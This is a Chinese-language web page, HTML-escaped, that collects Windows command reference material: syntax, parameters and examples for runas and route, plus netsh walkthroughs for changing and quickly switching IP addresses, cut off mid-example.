&lt;p&gt;语法&lt;br&gt;runas [{/profile|/noprofile}] [/env] [/netonly] [/smartcard] [/showtrustlevels] [/trustlevel] /user:UserAccountName program
&lt;p&gt;参数&lt;br&gt;/profile&lt;br&gt;加载用户的配置文件。/profile 是默认值。&lt;br&gt;/no profile&lt;br&gt;/noprofile 指定不加载用户的配置文件。这使应用程序载入的更加快速，但是在一些应用程序中也会引起错误。&lt;br&gt;/env&lt;br&gt;指定当前使用的网络环境，而不是用户的本地环境。&lt;br&gt;/netonly&lt;br&gt;指明指定的用户信息只用于远程访问。&lt;br&gt;/smartcard&lt;br&gt;/smartcard 表示凭据是否是由智能卡提供的。&lt;br&gt;/showtrustlevels&lt;br&gt;列出 /trustlevel 开关项。&lt;br&gt;/trustlevel&lt;br&gt;指定应用程序运行所在的授权级别。使用 /showtrustlevels 查看可用的信任级别。&lt;br&gt;/user:UserAccountName&lt;br&gt;指定在其下运行程序的用户帐户的名称。用户帐户的格式应是 &lt;a href="mailto:user@domain"&gt;user@domain&lt;/a&gt; 或 domain\\user。&lt;br&gt;程序&lt;br&gt;指定要用在 /user 中指定的帐户运行的程序或命令。&lt;br&gt;/?&lt;br&gt;在命令提示符显示帮助。&lt;br&gt;注释&lt;br&gt;管理员可以使用一个权限受限制的帐户执行日常、非管理性的任务，只有在执行特定管理任务时，才使用一个权限更大的帐户。要不经过注销再重新登录就完成这样的任务，可以用一般帐户登录，然后使用 runas 命令来运行需要更大权限的工具。&lt;br&gt;有关 runas 命令的使用范例，请参阅“相关主题”。&lt;br&gt;尽管 runas 通常由 Administrator 帐户使用，但并非仅限于 Administrator 帐户。任何拥有多个帐户的用户均可以利用备用凭据，使用 runas 运行程序、MMC 控制台或“控制面板”项。&lt;br&gt;如果要在计算机上使用 Administrator 帐户，对于 /user:，键入下列参数之一：&lt;br&gt;/user:AdministratorAccountName@ComputerName
&lt;p&gt;/user:ComputerName\\AdministratorAccountName
&lt;p&gt;如果想以域管理员身份使用这个命令，键入下列参数之一：&lt;br&gt;/user:AdministratorAccountName@DomainName
&lt;p&gt;/useromainName\\AdministratorAccountName
&lt;p&gt;runas 命令允许您运行程序 (*.exe)、保存的 MMC 控制台 (*.msc)、程序和保存的 MMC 控制台的快捷方式及“控制面板”项。作为另一组（例如“Users”或“Power Users”组）的成员登录到计算机时，可以以管理员的身份运行。&lt;br&gt;可以使用 runas 命令来启动任何程序、MMC 控制器或“控制面板”项。只要提供适当的用户帐户和密码信息，用户帐户就具有登录到计算机的能力，并且程序、MMC 控制台、“控制面板”项在系统中及对该用户帐户均可用.&lt;br&gt;runas 命令允许您管理其他域的服务器（运行工具的计算机和要管理的服务器在不同的域中）。&lt;br&gt;如果尝试使用 runas 从网络位置启动程序、MMC 控制台或“控制面板”项，可能会因为用来连接网络共享的凭据与用来启动程序的凭据不同而失败。后者的凭据可能无法访问同一网络共享。&lt;br&gt;有些项，例如“打印机”文件夹和桌面项，间接由 Windows 2000 打开，而不能使用 runas 命令启动。&lt;br&gt;如果 runas 命令失败，则可能是没有运行 RunAs 服务或使用的用户帐户无效。要检查 RunAs 服务的状态，请在“计算机管理”中单击“服务和应用程序”，然后单击“服务”。要测试用户帐户，请尝试使用该帐户登录合适的域。&lt;br&gt;范例&lt;br&gt;要在本地计算机上以管理员身份启动 Windows 2000 命令提示行实例，请键入：
&lt;p&gt;runas /user:localmachinename\\administrator cmd&lt;br&gt;系统提示时，键入管理员密码。
&lt;p&gt;要使用名为 companydomain\\domainadmin 的域管理员帐户启动“计算机管理”管理单元实例，请键入：
&lt;p&gt;runas /user:companydomain\\domainadmin &amp;quot;mmc %windir%\\system32\\compmgmt.msc&amp;quot;&lt;br&gt;当提示时，键入帐户密码。
&lt;p&gt;要使用名为 domain.microsoft.com 的域中的域管理员帐户 user 启动“记事本”实例，请键入：
&lt;p&gt;runas /user:user@domain.microsoft.com &amp;quot;notepad my_file.txt&amp;quot;&lt;br&gt;当提示时，键入帐户密码。
&lt;p&gt;要启动命令提示符行窗口、保存的 MMC 控制台、控制面板项或管理其他地点服务器的程序的一个实例，请键入：
&lt;p&gt;runas /netonly /useromain\\username &amp;quot;command&amp;quot;&lt;br&gt;domain\\username 必须是有足够权限管理服务器的用户。当提示时，键入帐户密码。&lt;br&gt;Route&lt;br&gt;在本地 IP 路由表中显示和修改条目。使用不带参数的 route 可以显示帮助。
&lt;p&gt;语法&lt;br&gt;route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric] [if Interface]
&lt;p&gt;参数&lt;br&gt;-f&lt;br&gt;清除所有不是主路由（网掩码为 255.255.255.255 的路由）、环回网络路由（目标为 127.0.0.0，网掩码为 255.255.255.0 的路由）或多播路由（目标为 224.0.0.0，网掩码为 240.0.0.0 的路由）的条目的路由表。如果它与命令之一（例如 add、change 或 delete）结合使用，表会在运行命令之前清除。&lt;br&gt;-p&lt;br&gt;与 add 命令共同使用时，指定路由被添加到注册表并在启动 TCP/IP 协议的时候初始化 IP 路由表。默认情况下，启动 TCP/IP 协议时不会保存添加的路由。与 print 命令一起使用时，则显示永久路由列表。所有其它的命令都忽略此参数。永久路由存储在注册表中的位置是 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\PersistentRoutes。&lt;br&gt;Command&lt;br&gt;指定要运行的命令。下表列出了有效的命令。 命令 目的&lt;br&gt;add 添加路由&lt;br&gt;change 更改现存路由&lt;br&gt;delete 删除路由&lt;br&gt;print 打印路由
&lt;p&gt;Destination&lt;br&gt;指定路由的网络目标地址。目标地址可以是一个 IP 网络地址（其中网络地址的主机地址位设置为 0），对于主机路由是 IP 地址，对于默认路由是 0.0.0.0。&lt;br&gt;mask subnetmask&lt;br&gt;指定与网络目标地址相关联的网掩码（又称之为子网掩码）。子网掩码对于 IP 网络地址可以是一适当的子网掩码，对于主机路由是 255.255.255.255 ，对于默认路由是 0.0.0.0。如果忽略，则使用子网掩码 255.255.255.255。定义路由时由于目标地址和子网掩码之间的关系，目标地址不能比它对应的子网掩码更为详细。换句话说，如果子网掩码的一位是 0，则目标地址中的对应位就不能设置为 1。&lt;br&gt;Gateway&lt;br&gt;指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点 IP 地址。对于本地连接的子网路由，网关地址是分配给连接子网接口的 IP 地址。对于要经过一个或多个路由器才可用到的远程路由，网关地址是一个分配给相邻路由器的、可直接达到的 IP 地址。&lt;br&gt;metric Metric&lt;br&gt;为路由指定所需跃点数的整数值（范围是 1 ~ 9999），它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可靠性、路径吞吐量以及管理属性。&lt;br&gt;if Interface&lt;br&gt;指定目标可以到达的接口的接口索引。使用 route print 命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制的值。对于十六进制值，要在十六进制数的前面加上 0x。忽略 if 参数时，接口由网关地址确定。&lt;br&gt;/?&lt;br&gt;在命令提示符显示帮助。&lt;br&gt;注释&lt;br&gt;路由表中 跃点数 一列的值较大是由于允许 TCP/IP 根据每个 LAN 接口的 IP 地址、子网掩码和默认网关的配置自动确定路由表中路由的跃点数造成的。默认启动的自动确定接口跃点数确定了每个接口的速度，调整了每个接口的路由跃点数，因此最快接口所创建的路由具有最低的跃点数。要删除大跃点数，请在每个 LAN 连接的 TCP/IP 协议的高级属性中禁用自动确定接口跃点数。&lt;br&gt;如果在 systemroot\\System32\\Drivers\\Etc 文件夹的本地网络文件中存在适当的条目，名称可以用于 Destination。只要名称可以通过“域名系统” (DNS) 查询这样的标准主机名解析技术分解为 IP 地址，就可以将其用于 Gateway，DNS 查询使用存储在 systemroot\\System32\\Drivers\\Etc 文件夹下的本地主机文件和 NetBIOS 名称解析。&lt;br&gt;如果是 print 或 delete 命令，可以忽略 Gateway 参数，使用通配符来表示目标和网关。Destination 的值可以是由星号 指定的通配符。如果指定目标含有一个星号 或问号 (?)，它被看作是通配符，只打印或删除匹配的目标路由。星号代表任意一字符序列，问号代表任一字符。例如， 10.*.1, 192.168.*、 127.* 和 *224* 都是星号通配符的有效使用。&lt;br&gt;使用了无效的目标和子网掩码（网掩码）值的组合，会显示“Route:bad gateway address netmask”错误消息。目标中有一位或多位设置为 1，而其在子网掩码中的对应位设置为 0 时会发生这个错误。可以通过二进制表示法表示目标和子网掩码来检查这种情况。以二进制表示的子网掩码包括表示目标网络地址部分的一连串的 1 和表示目标主机地址部分的一连串的 0 两个部分。查看目标以确定目标的主机地址部分（由子网掩码所定义）是否有些位设置成了 1。&lt;br&gt;只有 Windows NT 4.0、Windows 2000、Windows Millennium Edition 和 Windows XP 的 route 命令支持 -p 参数。Windows 95 或 Windows 98 的 route 命令不支持该参数。&lt;br&gt;只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时，该命令才可用。&lt;br&gt;范例&lt;br&gt;要显示 IP 路由表的完整内容，请键入：
&lt;p&gt;route print
&lt;p&gt;要显示 IP 路由表中以 10. 开始的路由，请键入：
&lt;p&gt;route print 10.*
&lt;p&gt;要添加默认网关地址为 192.168.12.1 的默认路由，请键入：
&lt;p&gt;route add 0.0.0.0 mask 0.0.0.0 192.168.12.1
&lt;p&gt;要添加目标为 10.41.0.0，子网掩码为 255.255.0.0，下一个跃点地址为 10.27.0.1 的路由，请键入：
&lt;p&gt;route add 10.41.0.0 mask 255.255.0.0 10.27.0.1
&lt;p&gt;要添加目标为 10.41.0.0，子网掩码为 255.255.0.0，下一个跃点地址为 10.27.0.1 的永久路由，请键入：
&lt;p&gt;route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1
&lt;p&gt;要添加目标为 10.41.0.0，子网掩码为 255.255.0.0，下一个跃点地址为 10.27.0.1，跃点数为 7 的路由，请键入：
&lt;p&gt;route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7
&lt;p&gt;要添加目标为 10.41.0.0，子网掩码为 255.255.0.0，下一个跃点地址为 10.27.0.1，接口索引为 0x3 的路由，请键入：
&lt;p&gt;route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3
&lt;p&gt;要删除目标为 10.41.0.0，子网掩码为 255.255.0.0 的路由，请键入：
&lt;p&gt;route delete 10.41.0.0 mask 255.255.0.0
&lt;p&gt;要删除 IP 路由表中以 10. 开始的所有路由，请键入：
&lt;p&gt;route delete 10.*
&lt;p&gt;要将目标为 10.41.0.0，子网掩码为 255.255.0.0 的路由的下一个跃点地址由 10.27.0.1 更改为 10.27.0.25，请键入：
&lt;p&gt;route change 10.41.0.0 mask 255.255.0.0 10.27.0.25
&lt;p&gt;怎样在windowsserver的cmd下更改ip地址■■■ -&amp;gt; Windows 2k/2003 Server&lt;br&gt;在命令行下更改ip地址
&lt;p&gt;Windows2000是现在比较流行的*作系统，它的功能是很强大的，它甚至可以象Unix一样在命令行下做很多的工作。下面一种在命令行下更改ip地址的方法，现介绍给大家（括号里是一些注释，黑体字是人工录入的）：
&lt;p&gt;C:\\&amp;gt;ipconfig (首先用ipconfig这个命令看一下更改之前的ip地址)
&lt;p&gt;Windows 2000 IP Configuration
&lt;p&gt;Ethernet adapter 本地连接:
&lt;p&gt;Connection-specific DNS Suffix . :
&lt;p&gt;IP Address. . . . . . . . . . . . : 10.1.1.94 （本地连接更改之前的ip）
&lt;p&gt;Subnet Mask . . . . . . . . . . . : 255.255.255.0
&lt;p&gt;Default Gateway . . . . . . . . . : 10.1.1.254
&lt;p&gt;C:\\&amp;gt;netsh （进入设置模式）
&lt;p&gt;netsh&amp;gt;interface
&lt;p&gt;interface&amp;gt;ip
&lt;p&gt;interface ip&amp;gt;set address &amp;quot;本地连接&amp;quot; static 10.1.1.111 255.255.255.0 10.1.1.254
&lt;p&gt;interface ip&amp;gt;exit
&lt;p&gt;&lt;br&gt;上文中的set命令具体解释如下:
&lt;p&gt;set address - 设置指定的接口的 IP 地址和默认网关。
&lt;p&gt;set dns - 设置 DNS 服务器模式和地址。
&lt;p&gt;set wins - 设置 WINS 服务器模式和地址。
&lt;p&gt;&lt;br&gt;C:\\&amp;gt;ipconfig （更改后再用ipconfig命令看一下,确认一下是否更改成功）
&lt;p&gt;Windows 2000 IP Configuration
&lt;p&gt;Ethernet adapter 本地连接:
&lt;p&gt;Connection-specific DNS Suffix . :
&lt;p&gt;IP Address. . . . . . . . . . . . : 10.1.1.111
&lt;p&gt;Subnet Mask . . . . . . . . . . . : 255.255.255.0
&lt;p&gt;Default Gateway . . . . . . . . . : 10.1.1.254
&lt;p&gt;&lt;br&gt;命令一览&lt;br&gt;.. - 移到上一层上下文级。&lt;br&gt;? - 显示命令列表。&lt;br&gt;aaaa - 更改到 `aaaa` 上下文。&lt;br&gt;abort - 丢弃在脱机模式下所做的更改。&lt;br&gt;add - 将一个配置项添加到项目列表中。&lt;br&gt;alias - 添加一个别名&lt;br&gt;bye - 退出程序。&lt;br&gt;commit - 提交在脱机模式中所做的更改。&lt;br&gt;delete - 在项目列表上删除一个配置项目。&lt;br&gt;dhcp - 更改到 `dhcp` 上下文。&lt;br&gt;dump - 显示一个配置脚本。&lt;br&gt;exec - 运行一个脚本文件。&lt;br&gt;exit - 退出程序。&lt;br&gt;help - 显示命令列表。&lt;br&gt;interface - 更改到 `interface` 上下文。&lt;br&gt;offline - 将当前模式设置成脱机。&lt;br&gt;online - 将当前模式设置成联机。&lt;br&gt;popd - 从堆栈上打开一个上下文。&lt;br&gt;pushd - 将当前上下文放推入堆栈。&lt;br&gt;quit - 退出程序。&lt;br&gt;ras - 更改到 `ras` 上下文。&lt;br&gt;routing - 更改到 `routing` 上下文。&lt;br&gt;set - 更新配置设置。&lt;br&gt;show - 显示信息&lt;br&gt;unalias - 删除一个别名。&lt;br&gt;wins - 更改到 `wins` 上下文。&lt;br&gt;快速切换IP地址有绝招
&lt;p&gt;在工作过程中会遇到在不同的网段中进行网络调试的情况，经常需要将机器在几个不同的IP地址中进行切换。在Win2000*作系统中改变IP地址较之Win98已经方便多了因为改完IP地址后不需要重启计算机，但还要进入网络属性设置中进行*作。有没 有再简便一点的方法呢，比如用鼠标双击一下快捷方式就可以实现IP地址的切换?
&lt;p&gt;　　答案是肯定的。在Win2000中用netsh命令就可以实现这个功能。首先进入命令行模式（在“开始→运行”中键入“cmd”即可进入命令行模式），在提示符下键入netsh即可进入netsh的界面。再键入int ip进入接口IP的配置模式，键入dump则列出接口IP配置信息：
&lt;p&gt;　　C:\\Documents and Settings\\Administrator&amp;gt;netsh&lt;br&gt;　　netsh&amp;gt;&lt;br&gt;　　netsh&amp;gt;int ip&lt;br&gt;　　interface ip&amp;gt;dump&lt;br&gt;　　# ----------------------------------&lt;br&gt;　　# 接口 IP 配置&lt;br&gt;　　# ----------------------------------&lt;br&gt;　　pushd interface ip&lt;br&gt;　　# ″本地连接″ 的接口IP 配置（注：以下显示视具体机器情况而定）&lt;br&gt;　　set address name = ″本地连接″ source = static addr = 192.168.0.5 mask = 255.255.255.0&lt;br&gt;　　set address name = ″本地连接″ gateway = 192.168.0.2 gwmetric = 1&lt;br&gt;　　set dns name = ″本地连接″ source = static addr = 61.237.17.181&lt;br&gt;　　add dns name = ″本地连接″ addr = 211.97.168.129&lt;br&gt;　　add dns name = ″本地连接″ addr = 211.98.4.1&lt;br&gt;　　set wins name = ″本地连接″ source = static addr = none&lt;br&gt;　　# ″本地连接 2″ 的接口 IP 配置&lt;br&gt;　　set address name = ″本地连接 2″ source = dhcp&lt;br&gt;　　set dns name = ″本地连接 2″ source = dhcp&lt;br&gt;　　set wins name = ″本地连接 2″ source = dhcp&lt;br&gt;　　popd&lt;br&gt;　　# 接口 IP 配置结束
&lt;p&gt;快速切换IP地址有绝招 2
&lt;p&gt;&lt;br&gt;现在我们可以大致了解到用netsh命令更改IP地址的方式，即通过“set address name =连接名称（连接名称要用引号括起来）source=static addr=IP地址 mask=子网掩码”来实现。
&lt;p&gt;　　到命令行模式下用netsh直接试一下。比如要将本机的IP地址改为192.168.0.7，子网掩码为255.255.255.0，可以进行以下*作：
&lt;p&gt;　　C:\\Documents and Settings\\Administrator&amp;gt;netsh&lt;